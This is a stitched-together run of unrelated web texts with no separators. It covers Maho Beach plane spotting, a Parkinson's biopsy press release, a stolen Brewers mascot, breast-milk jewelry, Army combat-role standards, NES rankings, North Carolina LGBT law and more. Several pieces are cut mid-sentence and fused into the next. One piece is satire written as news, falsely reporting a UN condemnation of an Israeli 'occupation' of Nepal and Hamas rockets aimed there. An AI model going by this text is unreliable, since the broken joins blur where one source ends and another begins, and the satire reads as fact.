Due to the unique proximity of low flying airliners, the location is very popular with plane spotters. This is one of the few places in the world where aircraft can be viewed in their flight path just outside the end of the runway. Watching airliners pass over the beach is such a popular activity that daily arrivals and departures airline timetables are displayed on a board in most bars and restaurants on the beach, and the Sunset Bar and Grill formerly had a speaker on its outside deck that broadcast radio transmissions between pilots and the airport's control tower. The speaker was no longer in use by August 2015.[citation needed]
Jetwind sport at Maho beach.
Maho Beach is unusually close to the threshold of a runway, and is directly under the flight path, resulting in aircraft on their final approach flying over the beach at altitudes of less than 100 feet (30 m) feet above ground level. This makes the beach a popular location for photographers and video makers who intend to capture the aircraft approaching the airport.
People on the beach watch an airliner take off.
There is a danger of people standing on the beach being blown into the water because of the jet blast from aircraft taking off from runway 10. The local government warns that closely approaching and departing aircraft can "result in serious injury and/or death". An additional fence has been added recently behind runway 10, in order to prevent people from hanging onto the main fence surrounding the runway to experience being blasted by the jet flow.
The beach itself is white sand and has little to no vegetation because of jet blast erosion.[1] The Caravanserai Resort, the Sunset Bar and other restaurants/night clubs such as Bamboo Bernies and Bliss are located nearby. The beach is popular with windsurfers and skimboarders because of occasional large waves.
History [ edit ]
On October 16, 2008, the Maho area of St. Maarten was badly damaged by Hurricane Omar, which destroyed the Sunset Bar and Grill as well as Bamboo Bernies and Bliss. As of November 2009, Sunset Bar and Grill and Bliss have both re-opened. Hurricane Omar reduced the beach to boulders, and damaged the nearby Royal Islander Club La Plage which re-opened February 14, 2009.[citation needed] The same occurred with Hurricane Irma in 2017.
On 12 July 2017, as Caribbean Airlines Flight 457 was taking off from the airport, a 57-year-old woman from New Zealand was killed by jet blast. The woman was holding on to a fence at the end of the runway when the wind blew her away, causing her head to smash into concrete.[2]
Maho Beach and St Martins airport after Hurricane Irma
Sign on the beach warning people of the dangers.
See also [ edit ]
References [ edit ]
Coordinates:PHOENIX — Researchers from Mayo Clinic in Arizona and Banner Sun Health Research Institute have determined that testing a portion of a person's submandibular gland may be a way to diagnose early Parkinson’s disease. The study was published this month in Movement Disorders, the official journal of the International Parkinson and Movement Disorders Society.
Currently, there is no accurate diagnostic test for Parkinson’s disease. The researchers believe that a procedure termed transcutaneous submandibular gland biopsy may provide the needed accuracy. The test involves inserting a needle into the submandibular gland under the jaw and withdrawing the needle to obtain the core of gland tissue within. The researchers looked for a protein in the cells from patients who have early Parkinson’s disease and compared this to subjects without the disease.
“This is the first study demonstrating the value of testing a portion of the submandibular gland to diagnose a living person with early Parkinson's disease. Making a better diagnosis in living patients is a big step forward in our effort to understand and better treat patients," says study author Charles Adler, M.D., Ph.D., neurologist, professor of neurology at Mayo Clinic in Arizona.
MEDIA CONTACT: Jim McVeigh, Public Affairs, (480) 301-4222, newsbureau@mayo.edu
The study involved 25 patients with Parkinson's disease for less than five years and 10 control subjects without Parkinson’s disease. Biopsies were taken from one submandibular gland which is a gland that makes saliva. The biopsies were done as an office procedure by Michael Hinni, M.D., and David Lott, M.D., at Mayo Clinic in Arizona. The biopsied tissues were tested for evidence of the abnormal Parkinson's protein by study co-author Thomas Beach, M.D., Ph.D., a neuropathologist with Banner Sun Health Research Institute.
"This procedure will provide a much more accurate diagnosis of Parkinson's disease than what is now available," Dr. Beach says. "One of the greatest potential impacts of this finding is on clinical trials, as at the present time some patients entered into Parkinson's clinical trials do not necessarily have Parkinson's disease and this is a big impediment to testing new therapies."
The abnormal Parkinson's protein was detected in 14 of the 19 patients who had enough tissue to study, providing positive results that need further studies. The research team previously had shown that the biopsy could detect the protein in 9 of 12 patients with advanced disease.
"This study provides the first direct evidence for the use of submandibular gland biopsies as a diagnostic test for living patients with early Parkinson's disease," says Dr. Adler. "This finding, in patients with early Parkinson’s disease, may be of great use since accuracy of diagnosis in patients with early disease is not nearly as good as in those having the disease for more than 10 years."
Parkinson's disease is a progressive disorder of the nervous system that affects movement as well as sleep, walking, balance, blood pressure, and smell. It develops gradually, sometimes starting with a barely noticeable tremor in just one hand. But while tremor may be the best-known sign of Parkinson's, the disorder also commonly causes stiffness or slowing of movement. Currently, the diagnosis is made based on medical history, a review of signs and symptoms, a neurological examination, and by ruling out other conditions. In a previous study, Drs. Adler and Beach found that up to 45 percent of patients may be misdiagnosed early in the disease. Although Parkinson's disease can't be cured, medications may markedly improve symptoms.
This study was funded by the Michael J. Fox Foundation for Parkinson's Research.
About Banner Sun Health Research Institute
For more than 25 years, Banner Sun Health Research Institute, part of nonprofit Banner Health, has been a leader nationally and internationally in the effort to find answers to disorders of aging including Alzheimer’s and Parkinson’s disease. The Institute, together with its Arizona Alzheimer’s Consortium and Arizona Parkinson’s Disease Consortium partners, has been designated by the National Institutes of Health as one of just 29 Alzheimer’s Disease Centers in the nation, and as the National Brain and Tissue Resource for Parkinson’s Disease and Related Disorders. Additionally, the Institute’s Cleo Roberts Center for Clinical Research takes laboratory discoveries to clinical trials that foster hope for new treatments. Banner Health is Arizona’s leading health care provider and second largest private employer. For more information, visit www.bannershri.org.
About The Michael J. Fox Foundation for Parkinson’s Research
As the world’s largest funder of Parkinson’s research, The Michael J. Fox Foundation is dedicated to accelerating a cure for Parkinson’s disease and improved therapies for those living with the condition today. The Foundation pursues its goals through an aggressively funded, highly targeted research program coupled with active global engagement of scientists, Parkinson’s patients, business leaders, clinical trial participants, donors and volunteers. In addition to funding more than $325 million in research to date, the Foundation has fundamentally altered the trajectory of progress toward a cure. Operating at the hub of worldwide Parkinson’s research, the Foundation forges groundbreaking collaborations with industry leaders, academic scientists and government research funders; increases the flow of participants into Parkinson’s disease clinical trials with its online tool, Fox Trial Finder; promotes Parkinson’s awareness through high-profile advocacy, events and outreach; and coordinates the grassroots involvement of thousands of Team Fox members around the world.
###
About Mayo Clinic
Mayo Clinic is a nonprofit worldwide leader in medical care, research and education for people from all walks of life. The Neurology Department at Mayo Clinic Arizona is one of the largest in the Southwest United States and specializes in the treatment of Parkinson’s disease and other movement disorders. There are multiple research studies ongoing for Parkinson’s disease. For more information, visit MayoClinic.com or MayoClinic.org/news.USAToday Rest easy, Wisconsin: The Milwaukee Brewers’ missing Italian racing sausage has been found. But Guido had a good time while missing, including participating in a Harlem Shake dance. The 7-foot costume is typically used with other sausages for a seventh-inning race around the warning track at Miller Park. On Feb. 16, though, Guido had a night on the town, as detailed to USA TODAY Sports by one of the people claiming to be responsible for the theft. She e-mailed photos and video and requested anonymity because she said no malice was intended in what she termed a prank. She said six residents of Cedarburg and Mequon, Wis., ranging in age from 26 to 55 — five women and one man — collaborated on the heist. She described how they attached a note to the sausage when the group returned it to TJ Ryan’s Tavern in Cedarburg. The note, which refers to the theft as “Weenie Gate,” reads:
Sorry I’m such a sauced weenie. You probably think I’m the wurst. I started feeling the heat as the police began to ketchup by connecting the links. I know it was a greasy move so here I am. Donate the mustard and drink the beer. Take me back to the Land of the Brew… Much Love, ur Cedarburg Crew.
These people stole “Guido” the famous Milwaukee Brewers Italian Sausage mascot and took him out for a night on the town, which included a guitar solo on stage, getting hammered and getting his freak on with a few lucky ladies. The chicks in the pictures below totally got the sausage from the sausage that night, probably both at the same time, if you catch my drift. This was a harmless prank, since they returned the costume after a night on the town, and no harm was done. All in good fun. I can only imagine the horrible things that would have been done to the costume if it was my friends that stole the costume,but I guarantee that it would not have been returned in one piece, and the police would be bombarded with 911 calls reporting an evil sausage committing unspeakable acts. So kind of a lame prank, my favorite mascot pranks are the ones where a frat steals a rival college’s mascot and gets it drunk, like on the classic episode of The Simpsons “Homer Goes to College”
Anyway, here are some photos of the Guido the Italian Sausage’s alcohol and whore fueled night on the town, including a “Harlem Shake” video, which I am already mad at myself for posting because I hate “Harlem Shake” videos. They got old so fast and were never funny. Everyone, please, stop it!Following reports that more than 250 Israelis have made their way to Nepal in order to assist in recovery efforts following a devastating earthquake, the UN has issued its latest condemnation of the Jewish State for its sudden occupation of the South-Asian nation.
“We are dismayed to learn that Israeli forces are currently using the chaos in Nepal to colonize the country, and we order all these Israeli settlers to leave at once,” the UN Human Rights Council said in a statement over the weekend. “The people of Nepal are authorized to use all means available to repel the Zionist invaders.”
The UN condemnation was followed by a letter, written by Pink Floyd singer Roger Waters, and signed by Penelope Cruz and husband Javier Bardem, as well as self-declared revolutionist Russell Brand, condemning Israel for committing genocide and apartheid in Nepal, a statement from U.S. Secretary of State John Kerry calling the Israeli presence in the country “unsustainable” and a host of celebrities tweeting #FreeNepalfromZionism. Hamas, meanwhile, fired a series of rockets towards Nepal, though most landed somewhere in the Jordanian desert.
RELATED: The Mideast Beast has been heard!
Israeli Prime Minister Benjamin Netanyahu dismissed the UN’s claims and said the government had not approved any settlement construction in Nepal, but added, “If we wanted to we totally could, because God said so.” Israeli officials were said to be working to keep news of the UN resolution away from Economy Minister Naftali Bennett so that the right-wing leader “wouldn’t get any ideas.”LAKE JACKSON, Texas – A mother wanting to create a keepsake of her time with her young children came up with the idea of jewelry made from breast milk.
Bridgette Boudreaux tells KTRK in Texas that she makes the jewelry by taking breast milk and adding preservatives, and letting it sit in the refrigerator.
She says within a week, the milk is a solid that you can mold into different shapes. From there Boudreaux adds designs and colors. With a top coat resin, it hardens and protects the milk keepsake.
“Each breast milk pearl is a different shade of cream to white so you’re getting what came from you. No two are alike,” Boudreaux told KTRK.
The stay at home mom says she has sold hundreds of pieces in the past year and the requests keep getting more elaborate. She is even making jewelry out of placentas, hair and umbilical cords. They range from $50 to $200.
Boudreaux’s Facebook page is full of messages from thankful women.U.S. Army trainers will soon lead an effort to create gender-neutral physical standards for all soldiers as part of a plan to allow women to serve in infantry, Special Forces and other combat arms jobs.
Training and Doctrine Command has launched “two major efforts in support of this full integration of women soldiers.” TRADOC has started a scientific review working with U.S. Army Medical Command, U.S. Army Research Institute for Environmental Medicine and Army Research Institute to assist in the development of gender-neutral physical standards for all Areas of Concentration for commissioned officers and military occupational specialties for enlisted soldiers.
In addition, the “TRADOC Analysis Center is examining the institutional and cultural barriers related to integrating women soldiers into previously all-male specialties and units in order to develop strategies to overcome these barriers,” according to a TRADOC document released to Military.com.
Army officials will submit the service’s strategy for conducting these efforts to Defense Secretary Chuck Hagel on Wednesday to satisfy the May 15 deadline for the services to present how they will fully integrate women into combat arms units by 2016, said Army spokesman Lt. Col. Stephen Platt.
Former Defense Secretary Leon Panetta in January eliminated the Pentagon rule that prevented women from participating in certain combat units. The DoD goal is to open approximately 237,000 positions to women by 2016.
Some of the jobs being reviewed are infantryman, Special Forces officer, cavalry scout and armor senior sergeant.
But this does not mean the Army has decided to open these jobs to women yet.
“The Army will review these MOSs and make a recommendation to the secretary of Defense if they should remain closed,” Platt said. “If we find that the assignment of women to specific positions or occupational specialties is in conflict with the department’s guiding principles, exceptions to policy will be requested, which will prohibit their assignment to certain jobs.”
The review will analyze insights gained over the last 11 years of war as it relates to knowledge, skills, abilities, and other characteristics -- or KSAOs, the TRADOC document states.
The plan is to validate gender-neutral occupational standards so servicemembers can be assessed and assigned to combat-arms jobs by September 2015, Platt said.
Using gender-neutral physical standards “will enable us to select those best qualified for positions and may reduce non-combat related injuries for both men and women,” Platt said.
Here is a list of the jobs previously closed to women:
11A Infantry officer
11B Infantry
11C Indirect fire infantryman
11H Heavy anti-armor weapons infantryman
11M Fighting vehicle infantryman
11Z Infantry senior sergeant
12B/21B Combat engineer
13B Cannon crewmember
13D Field artillery automated
13F Fire support specialist
18A Special Forces officer
18B Special Forces weapons sergeant
18C Special Forces engineer sergeant
18D Special Forces medical sergeant
18E Special Forces communications sergeant
18F Special Forces assistant operations and intelligence sergeant
18Z Special Forces senior sergeant
180A Special Forces warrant
19A Armor officer
19D Cavalry scout
19E M48-M60 armor crewman (Reserve Components)
19K Armor crewman
19Z Armor senior sergeant– Jim Rutherford, President and General Manager of the National Hockey League’s Carolina Hurricanes, today announced that the team has removed goaltender Cam Ward from injured reserve and assigned him to the Charlotte Checkers of the American Hockey League (AHL) for a conditioning stint. Ward will join the Checkers in Cleveland as they face the Lake Erie Monsters on Friday at Quicken Loans Arena.
Ward, 29, has missed the Hurricanes last 13 games with a lower-body injury. The Saskatoon, Sask., native has posted a 6-7-5 record, a 3.15 goals-against average and an.895 save percentage in 19 games with Carolina this season. Ward (6’1”, 185 lbs.) is the Hurricanes franchise’s all-time leader in games played by a goaltender (450), wins (220) and shutouts (21). His last AHL stint was in December 2005, when he played two games with the Lowell Lock Monsters during a conditioning stint. The Hurricanes drafted Ward in the first round, 25th overall, in the 2002 NHL Entry Draft.“You can be anything you want… But you must be strong first.”
I ran this statement by several of my friends and colleagues and asked: what is a fitting name for the new company? Two gents, both from New Jersey, came back with the identical name: “Strength First.” What are the odds?
They are Rob Lawrence and Steve Freides and and we all go way back. Rob went through the second RKC course a decade ago and later became a senior instructor. Although he left RKC after several years, he left a lasting mark. You may have seen snappy Lawrence quotations in my books and manuals. “If everything is a priority, then nothing is a priority.”
Steve Freides also earned his RKC in the early years of the program and became a team leader. A music professor with a bad back, he was bedridden for months. Then he decided to get strong and healthy. This fifty-year-old studied Power to the People!, Bullet-Proof Abs, and Relax into Stretch—and proceeded to achieve an American deadlift record for his age group, a set of abs one would not want to punch, and a full side split, suspended between chairs.
Shortly you will see StrongFirst blog entries by both gentlemen. Back to the StrongFirst name.
The English word “strength” has an awful lot of consonants, which is a challenge for non-English speakers. If you do not understand what this means, a joke about a Polish fellow getting an eye exam might drive the point home:
“Do you see the letters on the bottom line?” asks the doctor.
“Not only do I see them, I know the guy!” exclaims the Pole.
To a non-English speaker “ngth” is a tongue twister like a Polish name to an American. So I changed “strength” to “strong.” Hence StrongFirst.
An aside. You may already have figured out that this blog is not going to be politically correct. If you cannot stomach Polish jokes, Russian jokes, and so on, please seek your strength advice elsewhere. I despise political correctness as an attempt to suppress free speech. I have no tolerance for the thin-skinned people who claim to get offended on behalf of some group they belong to in order to advance some cause.
StrongFirst is for strong people who are not afraid to speak their minds and who do not have thin skin. What we do not tolerate is the lack of good manners. There is a sign at the “entrance” to the StrongFirst forum: “Ladies and gentlemen only.”
“StrongFirst” would have been just a name without the people behind it. Our instructor team includes national champions, national team coaches, former military special operators, first responders, law enforcement officers, elite martial artists, performing strongmen, national team doctors, and other high-end strength professionals. Ladies and gentlemen, I am proud to present you:
SFG Masters
Jon Engum
Dan John
Brett Jones
Geoff Neupert
Peter Lakatos
Mark Reifkind
Dave Whitley
SFG Seniors
Tommy Blom
Shaun Cairns
Dr. Mark Cheng
Dr. Michael Hartle
Brad Nelson
Doug Nepodal
Karen Smith
Franz Snideman
Mark Toomey
Phil Scarito
Zar Horton
Fabio Zonin
SFG Team Leaders
Lauren Brooks
Michael Castrogiovanni
Andrea U-Shi Chang
Lance Coffel
Betsy Collie
Paul Daniels
Ron Farrington
Steve Freides
John Heinz
Dr. Chris Holder
Gabi Katschthaler
Jeremy Layport
Jason Marshall
Dr. Ricardo Nieves
Michael Rendle
Dr. Prentiss Rhodes
Dustin Rippetoe
Delaine Ross
Yoana Teran
Robert Budd
Mark Toomey is the CEO of StrongFirst. I am the chairman. I set the course. He runs the ship.
On to world domination.Final Report: The Effectiveness of Energy Generating Exercise Equipment for Energy Conservation Education
Objective:
SU833153The Effectiveness of Energy Generating Exercise Equipment for Energy Conservation EducationMay 14, 2007 through June 1, 2008$10,000P3 Awards: A National Student Design Competition for Sustainability Focusing on People, Prosperity and the Planet (2006) RFA Text
The Calories to Kilowatts (C2K) program presented an innovative solution for energy consumption problems in the United States. C2K was developed at Albion College as an energy education and fitness center targeting college age students. Recycled exercise machines were reconstructed into devices that converted human energy into electricity using manual generators and storage batteries. The program resulted in a self-sustaining workout center.
In order to produce efficient exercise machines and an effective educational program, Calories to Kilowatts established several objectives. First, the researchers intended to redesign the stationary bicycle prototype to improve electricity generating capabilities by 1000%. Next, a rowing machine was to be evaluated for electrical production capacity. To compare energy expended by the human body and the electrical output of the machines, human calories were converted to watts and contrasted with the watt output of the exercise machines. In addition, Calories to Kilowatts was implemented as an educational program in conjunction with the workout facility, utilizing “Conservation Pledges” and dormitory room Energy Audits to enhance the energy consumption awareness of participants. Lastly, environmental knowledge was evaluated in pre-use and post-use surveys.
Summary/Accomplishments (Outputs/Outcomes):
In regards to machine efficiency, the outputs of the two newly designed bicycles were 120 watts and 96 watts, while the elliptical ran at 78 watts. This shows an increase in output compared to the 49 watt output of the prototype. However, when compared with caloric output, it was found that the two bicycles utilized just 8% of the caloric output, while the elliptical utilized 6%. The cost of building the modified elliptical machine was $592.59. The bicycles each cost $527.33. This price was comparable to new exercise equipment currently on the market. Overall, 57.5% of the projects expenditures have been related to the cost of materials.
The comparison of pre and post surveys indicated how Calories to Kilowatts met energy education goals, in terms of general energy knowledge and consciousness. In the data analysis of 47 pre-surveys and 28 post-surveys, significant increases were found in the area of identifying renewable energy resources from nonrenewable energy resources. Data from six out of the eight measured behaviors of participants showed trends towards environmentally consciousness decision-making. Lastly, the pre and post-surveys showed that among participants, reducing global warming was the strongest reason for energy conservation, while saving money was the least important reason.
The environmental impact of this study was best quantified through the decrease in greenhouse gas (GHG) emissions through energy |
ued opinions on how Mega Man 2 is the Blue Bomber’s true ultimate expression. These are falsehoods. Does Mega Man 2 have a robotic dog? No it does not. Does Mega Man 3? Yes. Okay then. —Jon Irwin
18. Simon’s Quest: Castlevania II
In what later almost became tradition, this sequel is altogether different from its predecessor. A Day-night cycle gives the world an uncommon sense of place for the 8-bit era, but opaque riddles and high difficulty proved challenging for fans of the classic original. —Jon Irwin
17. Mother
What we know as Earthbound in the west is actually the sequel to this RPG that never left Japan (until a Virtual Console release on Wii U last year). What does an American childhood look like through the prism of a Japanese ad-man? Baseball, hippies, and pizza delivery. —Jon Irwin
16. River City Ransom
Incredibly far ahead of its time, River City Ransom plays more like an SNES beat-em-up than an NES one, with a surprisingly advanced set of combat mechanics and upgradable, RPG-style stats for your characters. There’s great joy in beating up thugs to collect coinage, then walking into a sushi shop to find out what stats a piece of nigiri or tempura will boost. —Jim Vorel
15. Kirby’s Adventure
Kirby’s debut may have been on the Game Boy, but Kirby’s Adventure first let him use his signature power: swallowing enemies alive to gain their powers. No word on whether cannibalism rates rose among American children in 1993.—Nate Ewert-Krocker
14. Blaster Master
Cliff Bleszinski cites this game as a personal influence on Gears of War. I just remember it as the game that let you drive a jumping car named Sophia. —Jon Irwin
13. Ducktales
Disproving the axiom that licensed games are subpar, Capcom’s Scrooge McDuck-starring platformer is as beautiful, challenging and well-designed as any of its non-licensed games. It also features maybe the best soundtrack of the era.—Garrett Martin
12. Final Fantasy III
Big, complicated, and tough as nails, Final Fantasy III took the six character archetypes from the first game and heaped on another sixteen, letting you switch classes on the fly and proving you should never send an Onion Kid to do a Ninja’s job.—Nate Ewert-Krocker
11. Crystalis
When Nintendo zagged with the unusual sequel Zelda II, SNK snuck in with a game that would’ve been a better follow-up to Link’s debut. Crystalis has no formal connection to Zelda, of course, but it heavily borrows its look and control scheme. Crystalis is more about fighting than puzzle-solving, though, and its elegant take on swordplay makes it one of the most enjoyable games to fight through on the NES. Combine that with its RPG depth, and you have one of the best NES games ever made.—Garrett Martin
10. Super Mario Bros.
Arguably the most iconic videogame of all time, Super Mario Bros. defies summary. A testament to the frugal ingenuity of early game design and the creative brilliance of Nintendo’s key founding members, including Shigeru Miyamoto, it remains a steadfast favorite. —Holly Green
9. Punch-Out!!
Whether with or without Mike Tyson, the iconic boxing game is a classic of patience and pattern recognition. It’s effectively a puzzle game built around memory and reflexes, with some of the best graphics and most memorable characters found on the NES.—Garrett Martin
8. Contra
Contra fans wouldn’t know what the term “couch co-op” meant in 1988, but they would definitely know what it felt like. Between that beautifully designed tandem action, the varying points of view and scrolling orientations, and the diverse collection of memorable guns, Contra was an instant NES smash at the time, and still holds up better than games that are decades younger.—Garrett Martin
7. Ninja Gaiden
Ninja Gaiden turned heads with its elaborate cutscenes and a surprisingly detailed story for an 8-bit action title, but it’s remembered most fondly for its snappy action, its top-notch soundtrack and its brutal, brutal difficulty.—Nate Ewert-Krocker
6. Castlevania III
Konami’s third vampire-killing extravaganza has branching paths, three different companions to recruit and the most in-your-face prog rock an 8-bit system could manage. Just about the most fun you can have with a whip.—Nate Ewert-Krocker
5. Mega Man 2
Mega Man 2 is the classic example of a sequel improving upon the basic formula of the original to create a genre classic. Everything is better, from the memorable new Robot Masters (curse you, Air Man!) to the weapon-stealing RPG mechanic. And who can forget any track from one of the greatest videogame soundtracks of all time? —Jim Vorel
4. Metroid
Metroid was instantly iconic in 1987 for a number of reasons, from its backtracking-heavy level design, to its dark, claustrophobic atmosphere, to the surprising revelation of Samus Aran’s true nature at the end of the game. With its multitude of secrets and power-ups, and the freedom to explore as you see fit, it was one of the first games to feel like a genuine adventure.—Garrett Martin
3. Bionic Commando
Between a unique grappling-based control scheme, a large game world, a variety of diverse and well-rounded weapons, and a level of difficulty that’s challenging without ever feeling unfair, Bionic Commando swings in near the top of our list. —Garrett Martin
2. The Legend of Zelda
Link’s original adventure is the first console game that felt like a true epic, with a sprawling overworld, several dangerous dungeons to explore, and special skills and secrets hiding throughout. For its time, it was as flawless as games got, and even today it’s easy to disappear within this version of Hyrule for hours without even realizing it.—Garrett Martin
1. Super Mario Bros. 3
This is the best Mario game, right? I mean, it might be the best game, period, ever, so that would clearly make it the best Mario game. It took everything great about the original, imported a touch of the apocryphal weirdness of the unrelated second game, and created a massive universe that constantly reveals unexpected new angles and facets without ever dipping in quality. If you only play one game in your entire life, it might as well be this one.—Garrett MartinSomewhere along the line, I came into possession of a flyer for the 1974 Boston Marathon. The changes that have taken place in the last 40 years are remarkable. I’m having scanner issues at the moment, so a photo will have to suffice. Click to enlarge.
Some of the changes…
Entry fee: $2 (plus $1 if you need a bus ride to the start). That’s roughly $9.50 in 2014 dollars. It’s a far cry from the $175 it cost for this year’s race–but then again, there were no road closures, no security, little support, and few amenities besides a bowl of beef stew at the end of the race.
Entry requirements: The qualifying time was nominally 3:30 but proof did not need to be submitted unless asked for. You did, however, have to be an AAU (now USATF) member or run for a college team, and a pre-race physical or proof of same was required.
Cutoff time: They took down the finish at 3 hours and 30 minutes. Only 714 runners made it the previous year. This year’s field is, ahem, a bit larger than that.
Race management: For decades, the Boston Athletic Association consisted of just two people, Will Cloney and Jock Semple. Cloney’s name is at the bottom of the flyer, and the organization was run out of Semple’s training room at the Boston Garden (mentioned at the top). It wasn’t until the 60s or so that the marathon became a bigger deal than the B.A.A.’s indoor track meet at the Garden. Now deceased, Semple was the source of great stories about the early days of road racing in his 1981 autobiography, Just Call Me Jock.
I found a signed copy of Semple’s book at a local used bookstore for $3.95. As for the flyer above, I cannot recall exactly how it came to me. A co-worker had it and passed it along eleven years ago when I first qualified for Boston. Who gave it to him is long forgotten.
What hasn’t changed: British marathon times. Note that Ron Hill is credited with the then-course record of 2:10:30 in 1970. Hill managed that while working a full-time job, which was how most people did it in the amateur era. With all the benefits of modern science and all day to train and recover, probably no Brit besides Mo Farah could match that today.News
As we all know, it is the new political trend in Sydney to find weird laws that date back to medieval times and randomly implement them without hesitation, judgement or general consensus of the population.
Just to add to the chaos that is our strenuous lockout laws, City of Sydney Council has added fuel to the fire, putting a ban on some of our late night food vendors located on King Street in Newtown. Yep, no more late night Istanbul on King and Mr. Yeeros… Guess we will have to make some drunken oily kebab fix ourselves once we get home.
The Vice-president of the Australian Medical Association, Stephen Parnis stated in a SMH article that the changes came about due to health concerns, as doctors encourage food consumption in conjunction with drinking, and not after.
This a load of poop. Newtown is known for it’s vibrancy and promotion of freedom. The demand for food after midnight is high with there being so many bars on King street. Istanbul and Yeeros have been forced to shut their doors on hungry partiers at 12am, which makes no sense whatsoever because people can still legally drink at bars in Newtown after 1am. So basically the laws don’t even back up the initial argument.
Initially some of these food vendors were open, busy and serving until 4am no probs until the local council and Police decided to enforce laws they haven’t cared about for a decade. Has anyone seen how packed out Stanmore McDonalds (The closest 24/7 Mcdonalds to Newtown) gets on a Saturday/Sunday morning? Why should the government stop us from EATING?
A lot of the demand doesn’t just come from party goers either, it also comes from late night RPA and surrounding hospitality outlets for something to eat after they finish their late shift. And, let’s not get into the effect it will have on the business owners.
Sydney is turning into a ghost town as each of these menacing rules gets put in place seemingly every minute. Help us stop it by signing the petition here.Lesbian, gay, bisexual, and transgender (LGBT) persons in the U.S. state of North Carolina may face legal challenges not experienced by non-LGBT residents, or LGBT residents of other states with more liberal laws.
Same-sex sexual activity is legal in North Carolina, and the state has recognized same-sex marriage since October 10, 2014. However, an amendment to a bill prohibiting discrimination against LGBT persons in charter schools has not been signed into law.
Laws regarding same-sex sexual activity [ edit ]
The U.S. Supreme Court ruling in Lawrence v. Texas (2003) held laws criminalizing consensual homosexual activity between adults unconstitutional.[1]
In State v. Whiteley (2005), the North Carolina Court of Appeals ruled that the crime against nature statute, N.C. G.S. § 14-177,[2] is not unconstitutional on its face because it may properly be used to criminalize sexual conduct involving minors, non-consensual or coercive conduct, public conduct, and prostitution.[3]
The state's sodomy law, though unenforceable, has not been repealed.[4]
Recognition of same-sex relationships [ edit ]
Marriage [ edit ]
North Carolina has recognized same-sex marriages since October 14, 2014, when a federal court decision found the state's denial of marriage rights to same-sex couples unconstitutional. The state formerly banned same-sex marriage and all other types of same-sex unions both by statute and by constitutional amendment until the ban was overturned by a federal court decision.
North Carolina had previously denied marriage rights to same-sex couples by statute since 1996. A state constitutional amendment that was approved in 2012 reinforced that by defining marriage between a man and a woman as the only valid "domestic legal union" in the state and denying recognition to any similar legal status, such as civil unions.
Constitutional ban [ edit ]
County-level results of the vote on Amendment 1, amending the N.C. state Constitution to ban same-sex marriages and civil unions.
In September 2011, the North Carolina General Assembly passed North Carolina Senate Bill 514 (2011) which put an amendment banning any form of same-sex unions on the primary election ballot in May 2012. The measure passed on a vote of 30–16 in the state Senate and a vote of 74–42 in the state House.[5]
Voters approved the amendment by 61% to 39% on May 8, 2012. North Carolina was the 30th state, and the last of the former Confederate states, to adopt a constitutional amendment banning same-sex marriage. The amendment added to Section XVI of the North Carolina Constitution:[6]
Marriage between one man and one woman is the only domestic legal union that shall be valid or recognized in this State. This section does not prohibit a private party from entering into contracts with another private party; nor does this section prohibit courts from adjudicating the rights of private parties pursuant to such contracts.
Lawsuits [ edit ]
General Synod of the United Church of Christ v. Cooper
On April 28, 2014, the United Church of Christ and other religious organizations filed General Synod of the United Church of Christ v. Cooper, arguing that North Carolina's statute that makes it a crime to preside at the solemnization of the marriage of a couple that lacks a valid state marriage license unconstitutionally restricts religious freedom.[7] On October 10, District Court Judge Max O. Cogburn, Jr. ruled the state's ban on same-sex marriage unconstitutional.[8]
Fisher-Borne v. Smith and Gerber v. Cooper
On June 13, 2012, six same-sex couples filed a federal lawsuit, Fisher-Borne v. Smith, that initially sought the right to obtain second-parent adoptions. In July 2013, following the U.S. Supreme Court decision in United States v. Windsor in June, they amended their suit to challenge the constitutionality of the state's denial of marriage rights to same-sex couples.[9] Briefing was completed on August 13, 2014.[10] On April 9, 2014, the American Civil Liberties Union filed Gerber v. Cooper in the United States District Court for the Middle District of North Carolina, seeking state recognition of same-sex marriages established outside of North Carolina. Plaintiffs are three couples: Ginter-Mejia and Esmeralda Mejia, Jane Blackburn and Lyn McCoy, Pearl Berlin and Ellen W. Gerber. A judge has not yet been assigned in this case.[11] On October 14, U.S. District Judge William Osteen ruled for the plaintiffs.[12]
Domestic partnership [ edit ]
City offers domestic partner benefits County-wide partner benefits through County-wide partner benefits through domestic partnership County or city does not offer domestic partner benefits Map of North Carolina counties and cities that offer domestic partner benefits either county-wide or in particular cities.
The counties of Durham,[13] Orange,[14] Mecklenburg,[15] and Buncombe,[16] the cities of Durham,[17] Greensboro,[18] Asheville,[19] Charlotte,[20] and the towns of Carrboro,[21] Chapel Hill,[22] have established domestic partnership registries.
Hospital visitation [ edit ]
In 2008, the North Carolina General Assembly added a provision to the Patients' Bill of Rights affording hospital visitation rights to same-sex couples though a designated visitor statute.[23]
Adoption rights [ edit ]
Some lower courts allowed second-parent adoptions until the North Carolina Supreme Court ruled 5–2 in 2010 in the case of Boseman v. Jarell that the state law did not permit adoption by a second unmarried person irrespective of the sex of those involved.[24] The plaintiff in that case was Julia Boseman, first openly gay member of the state legislature. On June 13, 2012, 11 same-sex couples sued several state and local officials in federal court seeking second-parent adoption rights.[25] In 2013 they amended their suit to challenge the constitutionality of the state's denial of marriage rights to same-sex couples.[26] On October 14, U.S. District Judge William Osteen ruled for the plaintiffs.[12]
Discrimination protections [ edit ]
North Carolina outlaws discrimination based on religion, color, national origin, age, sex or handicap, sexual orientation and gender identity in public employment, but discrimination on grounds of sexual orientation and gender identity are not prohibited statewide in private employment, however it is against the law to sue in state courts for such discrimination. State law bans local municipalities from prohibiting discrimination on the basis of sexual orientation or gender identity in areas other than public employment.[27][28][29][30][31][32]
The counties of Buncombe,[33] Mecklenburg,[34] and Orange,[35] the cities of Asheville[35] and Charlotte[36] and the towns of Boone,[35] Carrboro,[35] Chapel Hill,[35] Greensboro,[35][37] and Raleigh[35][38] prohibits discrimination on the basis of sexual orientation and gender identity in local public employment. The counties of Durham[35] and Guilford[35] along with the cities of Bessemer City,[35] Durham,[39] High Point,[35] and Winston-Salem[35] prohibits local public discrimination on the basis of sexual orientation only.
The University of North Carolina system, which comprises North Carolina's 16 public universities, established a policy of non-discrimination with regard to sexual orientation and gender identity in employment and for students,[40] which is now in partially in conflict with the Public Facilities Privacy & Security Act.[41]
